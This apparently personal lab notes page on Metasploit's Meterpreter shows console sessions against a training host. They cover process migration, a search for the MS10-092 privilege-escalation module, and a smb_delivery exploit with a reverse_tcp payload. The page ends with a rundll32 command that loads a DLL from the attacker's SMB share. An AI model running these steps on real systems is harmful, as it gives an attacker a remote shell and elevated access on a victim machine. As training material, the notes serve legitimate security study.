> For the complete documentation index, see [llms.txt](https://breakpoint-journal.gitbook.io/breakpoint/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://breakpoint-journal.gitbook.io/breakpoint/tools/metasploit/meterpreter.md). # Meterpreter ## Migrate A migration allows the user to switch or 'migrate' to a different process. {% code title="" %} ```bash msf6 post(multi/recon/local_exploit_suggester) > sessions -i 1 [*] Starting interaction with 1... meterpreter > getpid Current pid: 2268 meterpreter > ps Process List ============ PID PPID Name Arch Session User Path --- ---- ---- ---- ------- ---- ---- 0 0 [System Process] 4 0 System 164 1800 VMwareUser.exe x86 2 WINLPE-2K8\htb-student C:\Program Files (x86)\VMware\VMware Tools\VMwareUser.exe 244 2032 winlogon.exe 260 4 smss.exe 2268 2628 rundll32.exe x86 2 WINLPE-2K8\htb-student C:\Windows\SysWOW64\rundll32.exe 2460 2656 explorer.exe x64 2 WINLPE-2K8\htb-student C:\Windows\explorer.exe 2632 2032 csrss.exe 2796 2632 conhost.exe x64 2 WINLPE-2K8\htb-student C:\Windows\System32\conhost.exe 2876 476 svchost.exe 3048 476 svchost.exe meterpreter > migrate 2796 [*] Migrating from 2268 to 2796... [*] Migration completed successfully. meterpreter > background [*] Backgrounding session 1... ``` {% endcode %} ## Search CVEs {% code title="We can search for exploits from w/i a meterpreter session likeso" %} ``` msf6 exploit(windows/smb/smb_delivery) > search 2010-3338 Matching Modules ================ # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 exploit/windows/local/ms10_092_schelevator 2010-09-13 excellent Yes Windows Escalate Task Scheduler XML Privilege Escalation msf6 exploit(windows/smb/smb_delivery) use 0 ``` {% endcode %} ## smb\_delivery {% code title="Using meterpreter to search for exploits" %} ```bash msf6 exploit(windows/smb/smb_delivery) > search smb_delivery Matching Modules ================ # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 exploit/windows/smb/smb_delivery 2016-07-26 excellent No SMB Delivery Interact with a module by name or index. For example info 0, use 0 or use exploit/windows/smb/smb_delivery msf6 exploit(windows/smb/smb_delivery) > use 0 [*] Using configured payload windows/meterpreter/reverse_tcp msf6 exploit(windows/smb/smb_delivery) > show options Module options (exploit/windows/smb/smb_delivery): Name Current Setting Required Description ---- --------------- -------- ----------- FILE_NAME test.dll no DLL file name FOLDER_NAME no Folder name to share (Default none) SHARE no Share (Default Random) SRVHOST 10.10.14.3 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses. SRVPORT 445 yes The local port to listen on. Payload options (windows/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none) LHOST 10.10.14.3 yes The listen address (an interface may be specified) LPORT 4444 yes The listen port Exploit target: Id Name -- ---- 1 PSH msf6 exploit(windows/smb/smb_delivery) > show targets Exploit targets: Id Name -- ---- 0 DLL 1 PSH msf6 exploit(windows/smb/smb_delivery) > set target 0 target => 0 msf6 exploit(windows/smb/smb_delivery) > exploit [*] Exploit running as background job 1. [*] Exploit completed, but no session was created. [*] Started reverse TCP handler on 10.10.14.3:4444 [*] Started service listener on 10.10.14.3:445 [*] Server started. [*] Run the following command on the target machine: rundll32.exe \\10.10.14.3\lEUZam\test.dll,0 ``` {% endcode %}